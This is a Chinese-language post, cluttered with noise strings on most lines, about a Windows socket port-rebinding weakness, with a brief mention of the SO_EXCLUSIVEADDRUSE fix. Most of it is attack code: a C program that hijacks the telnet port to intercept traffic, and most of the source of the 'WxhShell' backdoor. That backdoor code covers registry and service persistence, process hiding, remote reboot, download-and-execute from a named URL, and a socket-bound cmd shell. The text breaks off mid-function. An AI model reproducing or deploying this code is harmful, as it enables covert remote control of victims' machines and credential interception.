在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
/U|> s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
=N_7DT ~j1.;WId[ saddr.sin_family = AF_INET;
$]&0`F i&|fGX?-I saddr.sin_addr.s_addr = htonl(INADDR_ANY);
gH{X? &) '5_#S bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
yQ^k%hHa 6mFH>T*jzH 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
bu;3Ib3\ XDtr{r6z 这意味着什么?意味着可以进行如下的攻击:
d+
LEi^ %SWtE5HZQq 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
[31vx0$_p y;0k |C 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
'Gn-8r+ aWp9K+4R$/ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
GrwoV~ ul{u^ j 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
buIy+ [G(}`u8w" 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
_`Ojh0@00 mLa0BIP 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
&e#>%0aS <NIg`B@ 's 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
/7EeM{,~ o6H\JCne #include
c5>'1 L #include
]6W;~w% #include
F vJJpPS #include
(}$~)f#s DWORD WINAPI ClientThread(LPVOID lpParam);
6mawcK:7 int main()
"E? 8.`T {
)gO=5_^u*o WORD wVersionRequested;
MNy)= d&<P DWORD ret;
>e]46K WSADATA wsaData;
%]>LnbM>4 BOOL val;
@iC,0AK4k SOCKADDR_IN saddr;
c1v,5c6d j SOCKADDR_IN scaddr;
(-lu#hJ`&r int err;
/0w?"2- SOCKET s;
8,E#vQ55}( SOCKET sc;
8J&K_JC^ int caddsize;
o_2mSD! HANDLE mt;
}]-SAM DWORD tid;
?[[K6v}q{ wVersionRequested = MAKEWORD( 2, 2 );
4JF8S#8B err = WSAStartup( wVersionRequested, &wsaData );
Ri,8rf0u if ( err != 0 ) {
9Y9pKTU printf("error!WSAStartup failed!\n");
*`}4]OGv. return -1;
T>"GH M }
$gYy3y saddr.sin_family = AF_INET;
?V6+o`bm myp}DI( //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
8"C;I=]8 ^1&xt(G saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
8}Pd- .se saddr.sin_port = htons(23);
fk(l.A$ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
OG#7Va {
#8N9@ printf("error!socket failed!\n");
3@k;"pFa< return -1;
{J:ZM"GS }
91oIx W val = TRUE;
V^qZ~US //SO_REUSEADDR选项就是可以实现端口重绑定的
Vt_NvPB` if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
F8q &v" {
O*af`J{ printf("error!setsockopt failed!\n");
-j%!p^2j9 return -1;
X#s:C=q1 }
!}sYPz]7! //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
OL{U^uOhY //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
m6qmZ2< //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
+C~,q{u gnS0$kCJ: if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
&} b'cO {
!_+LmBd
G ret=GetLastError();
%ZV a{Nc printf("error!bind failed!\n");
AJRfl% 3 return -1;
(-\,t }
NT~L=xsY listen(s,2);
W\{gBjfE while(1)
9R XT {
~lx5RTkp caddsize = sizeof(scaddr);
C9-90,
//接受连接请求
{5+t\~q$ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
s'LY)_n if(sc!=INVALID_SOCKET)
v})0zz?,1 {
Q+ ;6\.#r mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
YW@Ad if(mt==NULL)
6gS<h\h0 {
UQl3Tq4QM printf("Thread Creat Failed!\n");
!<"H73?fl break;
-9"hJ4 }
f-5vE9G3y7 }
^>?gFvWB% CloseHandle(mt);
5 ^}zysY` }
Im{I23.2 closesocket(s);
_oxc~v\< WSACleanup();
<Bc J;X/ return 0;
mw<LNnT{8 }
tzv&E0|d DWORD WINAPI ClientThread(LPVOID lpParam)
I;`)1
{
zosJ=$L SOCKET ss = (SOCKET)lpParam;
\NbMS C&H SOCKET sc;
9C5w!_b@ unsigned char buf[4096];
C& 0iWY\a SOCKADDR_IN saddr;
o.5w>l!9K long num;
I:s#,!> DWORD val;
^ N]u DWORD ret;
gIS<"smOo //如果是隐藏端口应用的话,可以在此处加一些判断
>^%]F[Wo //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
P@'<OI saddr.sin_family = AF_INET;
>JVZ@
PV
H saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
~={8b saddr.sin_port = htons(23);
\p"`!n if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
t?9F2rh {
vMJv.O>HW printf("error!socket failed!\n");
' jFSv|g+0 return -1;
QK-_~9V }
n~\"W val = 100;
pR2QS if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
AW@I, {
$L>tV=' ret = GetLastError();
79<{cexP return -1;
^w4FqdGM }
i'|rx2]e if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
F+Og8^! {
l>)0OP] ret = GetLastError();
A P><l@ return -1;
K2<Q9 ,vt }
F+R4nFA if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
l)`bm/k]V {
[gFpFz|b< printf("error!socket connect failed!\n");
\I; lgz2 closesocket(sc);
<R>qOX8 closesocket(ss);
G8OLx+!0e return -1;
HjKj.fV }
T1?fC) while(1)
s =Pwkte {
$-Q,@Bztq //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
q%,q"WU //如果是嗅探内容的话,可以再此处进行内容分析和记录
v-2O{^n //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
vMKmHq num = recv(ss,buf,4096,0);
2'tZ9mK if(num>0)
k'Fc:T8:~5 send(sc,buf,num,0);
Be"D0=< else if(num==0)
=mYY8c Yl break;
"NSm2RU3 num = recv(sc,buf,4096,0);
QkUq%}_0 if(num>0)
NxVqV5' send(ss,buf,num,0);
.r+ u pY else if(num==0)
!'(bwbd break;
a5C% OI< }
fb[f >1| closesocket(ss);
&'9 Jy'(X closesocket(sc);
a) GLz return 0 ;
@U'I_`LL }
%CJgJ,pk> DSad[>Uj], W4Nbl ==========================================================
@ae;& <SmXMruU
下边附上一个代码,,WXhSHELL
mR:G,XytxM ECqcK~h#E ==========================================================
g76l@QYIU J2 {?P
cs #include "stdafx.h"
UN[rW0* "jly[M}C #include <stdio.h>
ae( o:G #include <string.h>
|=2E?&%? #include <windows.h>
:Lqz` #include <winsock2.h>
K?:rrd=7q #include <winsvc.h>
'}4LHB;: #include <urlmon.h>
@V:4tG.<sw W&dYH 4O #pragma comment (lib, "Ws2_32.lib")
4Mi~eL%D
( #pragma comment (lib, "urlmon.lib")
_3DRCNvh j#r|t+{"C #define MAX_USER 100 // 最大客户端连接数
74hGkf^S #define BUF_SOCK 200 // sock buffer
1a4
[w
#define KEY_BUFF 255 // 输入 buffer
2[: *0 DV# SDpaW6(_ #define REBOOT 0 // 重启
_]H$rf,Rc #define SHUTDOWN 1 // 关机
XNkw9*IT ykc$B5* #define DEF_PORT 5000 // 监听端口
|&lAt\ 9{\eE]0 #define REG_LEN 16 // 注册表键长度
vQ"EI1=7Z #define SVC_LEN 80 // NT服务名长度
%4? pJ-/"Q|:i // 从dll定义API
z( L\I typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
[3h~y7 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
6=a($s!
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
}6b =2Z} typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
0@z=0}0Z /M(FuV // wxhshell配置信息
C5m6{Oo+- struct WSCFG {
\xJTsdd int ws_port; // 监听端口
/Ps}IW char ws_passstr[REG_LEN]; // 口令
ujsJ;\c int ws_autoins; // 安装标记, 1=yes 0=no
fl>*>)6pm char ws_regname[REG_LEN]; // 注册表键名
@/i{By^C char ws_svcname[REG_LEN]; // 服务名
cLR02 char ws_svcdisp[SVC_LEN]; // 服务显示名
[ah%>&u char ws_svcdesc[SVC_LEN]; // 服务描述信息
HV ab14}E char ws_passmsg[SVC_LEN]; // 密码输入提示信息
' p,QI> int ws_downexe; // 下载执行标记, 1=yes 0=no
}8J77[>/ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
T )
T0.c char ws_filenam[SVC_LEN]; // 下载后保存的文件名
?-[.H^]s~ &>43l+ };
JVE]Qb_ +ou5cQ^ // default Wxhshell configuration
6U)Lhf\'o struct WSCFG wscfg={DEF_PORT,
"MZj}}l "xuhuanlingzhe",
;Q>(%"z}; 1,
nV'~uu "Wxhshell",
e 5U<nf "Wxhshell",
VOH.EK?5 "WxhShell Service",
l&cYN2T
b "Wrsky Windows CmdShell Service",
BtDi$d%' "Please Input Your Password: ",
sr,8zKM) 1,
`P}T{!P+6 "
http://www.wrsky.com/wxhshell.exe",
%cJ]Ds%V "Wxhshell.exe"
@q2If{Tk };
] >-#T EdxTaR // 消息定义模块
zS*GYE(l^ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
(wLzkV/6 char *msg_ws_prompt="\n\r? for help\n\r#>";
}<`Mn34@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
0Pw?@uV char *msg_ws_ext="\n\rExit.";
Iu`eQG char *msg_ws_end="\n\rQuit.";
fOtin[|}6@ char *msg_ws_boot="\n\rReboot...";
O{hGh{y char *msg_ws_poff="\n\rShutdown...";
"P;_-i9O char *msg_ws_down="\n\rSave to ";
4Sv&iQ=vh ,p6X3zY char *msg_ws_err="\n\rErr!";
[X[d`@rXv char *msg_ws_ok="\n\rOK!";
L>Bf}^ r2H_)Oi char ExeFile[MAX_PATH];
qg?O+-+ int nUser = 0;
Fn0Rq9 /@ HANDLE handles[MAX_USER];
/Y|oDfv int OsIsNt;
tkU"/$Vi\ QHnk@R! SERVICE_STATUS serviceStatus;
-ZqN~5>j) SERVICE_STATUS_HANDLE hServiceStatusHandle;
*fVs| ~yz7/?A)TS // 函数声明
J2H/z5YRJ4 int Install(void);
)P>Cxzs int Uninstall(void);
h7mJXS)t| int DownloadFile(char *sURL, SOCKET wsh);
bAv>?Xqa int Boot(int flag);
(@Q@B%!!K void HideProc(void);
Gr6XqO_ int GetOsVer(void);
E ?(+v int Wxhshell(SOCKET wsl);
z1A[rbe=4w void TalkWithClient(void *cs);
_uU}J5d. int CmdShell(SOCKET sock);
~3 4Ly int StartFromService(void);
]5b%r;_ int StartWxhshell(LPSTR lpCmdLine);
O@St^o*A} 4RYK9=NH VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
~9#[\/;" VOID WINAPI NTServiceHandler( DWORD fdwControl );
9Cbf[\J!bq o(5Xj$Z // 数据结构和表定义
JJlwzH SERVICE_TABLE_ENTRY DispatchTable[] =
^Z]1Z {
$'!r/jV {wscfg.ws_svcname, NTServiceMain},
Z'iXuI49 {NULL, NULL}
WF#eqU*& };
ka3Jqy4[ HVG9 C$ // 自我安装
2@WF]*Z int Install(void)
FaO1?. {
f6n'g:&.W char svExeFile[MAX_PATH];
to@ O HKEY key;
G3vKA&KZ strcpy(svExeFile,ExeFile);
-Gjz;/s%XH pcIJija: // 如果是win9x系统,修改注册表设为自启动
v~i/e+.h>y if(!OsIsNt) {
Qm86!(eZ- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
m/l#hp+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
& %4x RegCloseKey(key);
sp*_;h3' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{iiHeSD RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
D h y RegCloseKey(key);
3gZ|^h6
+ return 0;
L ;5uB2 }
R /J@XP }
F.ml]k&(m }
tEP~`$9 else {
;QbMVY y)N57#e // 如果是NT以上系统,安装为系统服务
o#Q0J17i? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
$OU,| D if (schSCManager!=0)
td{M%D,R" {
nE+OBdl SC_HANDLE schService = CreateService
tM3eB= .* (
Stqlp<xy schSCManager,
"i/ l' wscfg.ws_svcname,
Oi#F wscfg.ws_svcdisp,
2:0'fNXop SERVICE_ALL_ACCESS,
=jZ}@L/+ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
z45
7/zO SERVICE_AUTO_START,
:db:|=#T SERVICE_ERROR_NORMAL,
6rlafISvO svExeFile,
h3y0bV[g= NULL,
?.66B9Lld NULL,
p%A
s6.
NULL,
|f+|OZY NULL,
Lk{ES$ NULL
ab4(?-'- );
%:rct if (schService!=0)
4L}i`)CmB {
& yFS CloseServiceHandle(schService);
meQ>mW CloseServiceHandle(schSCManager);
E _d^&{j strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
MU2ufKq4) strcat(svExeFile,wscfg.ws_svcname);
GZgu1YR if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
tVJ}NI # RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
9&e=s<6dO RegCloseKey(key);
&wc%mQV return 0;
1I< <`7' }
|E:q!4?0 }
CjRI!}S CloseServiceHandle(schSCManager);
=@w,D.5h }
Cz@[l=-T7 }
4E[ 9)n+YV P9(]9np,, return 1;
$|~YXH~O }
Q;
DN* 7,Tg>,%Q // 自我卸载
%\OG#36 int Uninstall(void)
R_iQLBrd {
f4F13n_0X HKEY key;
Z6@W)Q X 'r_{T= if(!OsIsNt) {
O/EI8Qvm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
{=n-S2% RegDeleteValue(key,wscfg.ws_regname);
;OjxEXaq RegCloseKey(key);
w6ZyMR,T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Y>v(UU RegDeleteValue(key,wscfg.ws_regname);
&~`Ay4hq RegCloseKey(key);
[|{2&830 return 0;
nk8jXZ"w }
w7d(|` }
CMk0(sztU_ }
*7MTq_K(An else {
-58 Wp!#OY1? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Bn>"lDf, if (schSCManager!=0)
nff
X {
yk
r5bS SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
g *}M;"
if (schService!=0)
Fy(-.S1 {
iU3GUsPy if(DeleteService(schService)!=0) {
d8l T+MS= CloseServiceHandle(schService);
$
{29[hO CloseServiceHandle(schSCManager);
#NU;$& return 0;
WDznhMo }
9C;Hm>WEpP CloseServiceHandle(schService);
'n1-?T) }
t+C9QXY CloseServiceHandle(schSCManager);
72J@Dc }
dg#w/}}m }
3/+r*lv>X qfF/X"#0 return 1;
JBY`Y]V3 }
\KmgFyF tuZA q;X // 从指定url下载文件
,+`1 / int DownloadFile(char *sURL, SOCKET wsh)
IK#W80y {
"`Y.N$M`k HRESULT hr;
~fL:pVp char seps[]= "/";
>(N0''eM] char *token;
khSb|mR) char *file;
01bBZWX char myURL[MAX_PATH];
.9r+LA{ char myFILE[MAX_PATH];
;IklS*p] V5$J strcpy(myURL,sURL);
<HReh>)[ token=strtok(myURL,seps);
jSLC L' while(token!=NULL)
+n#(QOz {
*=+m;%]_ file=token;
C)w11$.YQ9 token=strtok(NULL,seps);
Cso!VdCX }
s{IXth6 6g\SJO-;N GetCurrentDirectory(MAX_PATH,myFILE);
>cVEr+r9t strcat(myFILE, "\\");
j+B+>r^ strcat(myFILE, file);
g.3 .
C? send(wsh,myFILE,strlen(myFILE),0);
xc|pl!ns send(wsh,"...",3,0);
\_H-TbU8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
(?luV#{5 if(hr==S_OK)
vAeh#V~# return 0;
]#)1(ZE else
<Uz~V; return 1;
*Ru@F: IP)?dnwG }
^;on rgth2y] // 系统电源模块
Iud]*5W int Boot(int flag)
)TYrb:M'm {
E:EXp7 HANDLE hToken;
6Xu^cbD TOKEN_PRIVILEGES tkp;
<>!Y[Xr^ {z":hmt if(OsIsNt) {
N
=k}"2_= OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
&hciv\YT2W LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
j2oHwt6" tkp.PrivilegeCount = 1;
[(%6]L} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
o: \&4z&= AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
,k% \f]a if(flag==REBOOT) {
TDvUiJm if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
41\r7
BS return 0;
m6V:x/'= }
+kh#Jq. else {
#X~{p4Lr if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Kk?]z7s-4 return 0;
l)JNNcej }
xR9<I:^& }
NF/@'QRT else {
^F5Q(A if(flag==REBOOT) {
+59tX2@Q if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
p([g/Q return 0;
`O:ecPD4M }
a(!_3i@ else {
;
E Nhy if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
aD
33!
:y return 0;
P=Au~2X }
f7y a0%N }
0RaE!4)!; d E0
`tX return 1;
Oa[G
# }
I/whpOg [^iQE // win9x进程隐藏模块
6\8
lx|w void HideProc(void)
s)?=4zJ {
J;?#Zt]`L ROWb:tX} HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
_RzwE$+9 if ( hKernel != NULL )
1M%'Xe7 {
zn5U(>=c pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
b<]--\ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
^|h5*Tb FreeLibrary(hKernel);
F*&A=@/3 }
UIhU[f] ]h]| PdN return;
fSe$w#*I }
-2)6QKh~D !/1aot^( // 获取操作系统版本
*'b3Z3c,; int GetOsVer(void)
u`%Kh_ {
(A\X+S( OSVERSIONINFO winfo;
;0)|c}n+.5 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
}N^A
(`L GetVersionEx(&winfo);
Idy{(Q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
R`)^eqB return 1;
PEKU else
0?]Y^: return 0;
$L~?!u&N }
B@v\tpR {'.[N79xP // 客户端句柄模块
k!{0ku}] int Wxhshell(SOCKET wsl)
4Dd@&N {
x,f=J4yco SOCKET wsh;
=dVPx<l5 struct sockaddr_in client;
<!+T#)Qi DWORD myID;
03] xJ/<G$LNJ0 while(nUser<MAX_USER)
5PaOa8=2f {
`y1nex-0 int nSize=sizeof(client);
jFa{h! wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
||M;[-JoJ if(wsh==INVALID_SOCKET) return 1;
}8H_^G8 /dT7:x* handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
n^H Kf^] if(handles[nUser]==0)
o09)esy closesocket(wsh);
\O*8% else
XI4le=^EM nUser++;
*]L(,_:" }
Bh'_@PHP WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
G5C=p:o{/ j. @CB` return 0;
]Wc:9Zb }
\!+sL JP R2]2#3` // 关闭 socket
B=4xZJPy void CloseIt(SOCKET wsh)
t`b!3U>I {
$#b@b[h<w closesocket(wsh);
3Pj#k|(f[0 nUser--;
'Y6x!i2 ExitThread(0);
cO&(&*J r }
Bl\/q83( .(RX;.lw // 客户端请求句柄
1
P0)La# void TalkWithClient(void *cs)
B+8lp4V9% {
fFr[
&\[ !>n^ ;u SOCKET wsh=(SOCKET)cs;
kjS9?>i char pwd[SVC_LEN];
4[&L<D6h char cmd[KEY_BUFF];
T-;|E^ char chr[1];
&bIE"ZBjt int i,j;
r5 k{mV+ z 1~2w: while (nUser < MAX_USER) {
q6A"+w,N *bOgRM[ if(wscfg.ws_passstr) {
WbIf)\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
[EdX6 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Vo G`@^s //ZeroMemory(pwd,KEY_BUFF);
/=+y[y3` i=0;
2@W'q=+0 while(i<SVC_LEN) {
pA~eGar_J B1u.aa$ // 设置超时
r+yl{ fd_set FdRead;
dTATJ)NH struct timeval TimeOut;
Xb/W[rcs FD_ZERO(&FdRead);
0@BhRf5 FD_SET(wsh,&FdRead);
)0tq& TimeOut.tv_sec=8;
w1N-`S: TimeOut.tv_usec=0;
(8XP7c]5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
x/)o'#d$|l if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
U?WS\Jji3! %UO ;!&K if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
0q ! pwd
=chr[0]; ?'jRUf l
if(chr[0]==0xd || chr[0]==0xa) { s)eU^4m
pwd=0; UtpK"U$XOU
break; R9-Ps qmF
} ]:K[{3iM
i++; }O7!>T
} DJ]GM|?
5N5Deb#V
// 如果是非法用户,关闭 socket #rps2nf.j
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zCuN8
} fG`<L;wi
/XeCJxo8
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ws_/F
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O{Y_j&1
x&['g*[L0
while(1) { 01brl^5K
"QV?C
ZeroMemory(cmd,KEY_BUFF); ZD`9Ez)5
(Y[q2b
// 自动支持客户端 telnet标准 ;_ TP Jy
j=0; vIK+18v7
while(j<KEY_BUFF) { k~|5TO
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y/Dah*
cmd[j]=chr[0]; Ln3<r&&Jz
if(chr[0]==0xa || chr[0]==0xd) { |B`
mWZ'"
cmd[j]=0; :wRaB7
break; YU(|i}b
} V\=QAN^
j++; HUuZ7jJwf
} 3<:m;F*#
X1N*}@:/
// 下载文件 c_RAtM<n
if(strstr(cmd,"http://")) { @ /yQ4Gr
send(wsh,msg_ws_down,strlen(msg_ws_down),0); V']{n7a-
if(DownloadFile(cmd,wsh)) e5HHsR6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IMF9eS{L
else 'xn3g ;5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kbR!iPM-;
} 8
FJ>W.
else { m0$~O5|4
q>^x,:L
switch(cmd[0]) { l`M7a9*U
ndB [f
// 帮助 Q!&@aKl
case '?': { qz]g4hS
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T=-$ok`G
break; V]fsjpvlmr
} )RZ:\:c
// 安装 .~L^h/)Gjy
case 'i': { ~4t7Q
if(Install()) JIYZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q9C;_Up
else X1J'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |."thTO
break; u,f$cR
} 9-6E(D-ux
// 卸载 rf[w&~R
case 'r': { _(&XqEX
if(Uninstall()) \'}? j- 8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Bd 0
else 0DIXd*oj &
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y{v\m(D
break; ~6HaZlBB
} to%n2^^K
// 显示 wxhshell 所在路径 y G{;kJ P
case 'p': { 2dpTU=K4
char svExeFile[MAX_PATH]; 8`?vWJS
strcpy(svExeFile,"\n\r"); `~S; UG
strcat(svExeFile,ExeFile); ~,:
FZ1wh
send(wsh,svExeFile,strlen(svExeFile),0); gb,X"ODq
break; g5,Bj
} DFUW^0N
// 重启 qyl9#C(a
case 'b': { /"LcW"2;N
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d0"Xlleld
if(Boot(REBOOT)) v?
VNWK2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); '*XX|\.
else { g,,'Pdd7Pn
closesocket(wsh); $RJpn]d
j
ExitThread(0); qL
0{w7
} k#Bq8d
break; }c1?:8p
} r:QLO~l/
// 关机 N7WQ{/PSG
case 'd': { nYF;.k
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )vcyoq
if(Boot(SHUTDOWN)) tI-u@
g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l^,"^vz
else { W.O]f.h
closesocket(wsh); WdvXVF
ExitThread(0); S.$/uDwo
} hDsSOpj
break; XzH"dDAVE
} =iEQE
// 获取shell @UG%B7
case 's': { @|hn@!YK
CmdShell(wsh); 2&+Nr+P
closesocket(wsh); k9|8@3(h
ExitThread(0); ivb?B,Lz0
break; I6B`G Im5
} }k K6"]Tj
// 退出 0qPbmLMK
case 'x': { g
AZe&"K
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aGRD`ra
CloseIt(wsh); Z<2j#rd
break; bW e_<'N
} wP: w8O
// 离开 *=p[;V
case 'q': { `YinhO:Z
send(wsh,msg_ws_end,strlen(msg_ws_end),0); |'R^\M Q
closesocket(wsh); U/|;u;H=
WSACleanup(); *;noZ9{"+
exit(1); z|5Sy.H>
break; s?g`ufF.t
} {@7{!I|eD
} M~uX!bDH
} ?;dfA/
`7))[._
// 提示信息 BnL [C:|
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S.#IC
lV
} k m(Mv
} Fz 6&.f
!B#Lea
return; "B~ow{3
} 6*({ZE
CI~P3"`]
// shell模块句柄 ktu{I
int CmdShell(SOCKET sock) L,<5l?u
{ a0]n>C`~
STARTUPINFO si; a1 I"Sh
ZeroMemory(&si,sizeof(si)); wACx}'+M
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; av.L%l&d
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Jn/"(mM
PROCESS_INFORMATION ProcessInfo; "")I1iO
g
char cmdline[]="cmd"; bhq s%B!:
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "{&?t}rj+
return 0; j=C o
} < SIe5"{
vp>,}nx4
// 自身启动模式 }z$_=v
int StartFromService(void) 6u'+#nm
{ 4%]wd}'#Un
typedef struct mqx#N%
{ _eE hIQ9
DWORD ExitStatus; )l|/lj
DWORD PebBaseAddress; 7a4b,-93
DWORD AffinityMask; x2KIGG^
DWORD BasePriority; g20,et
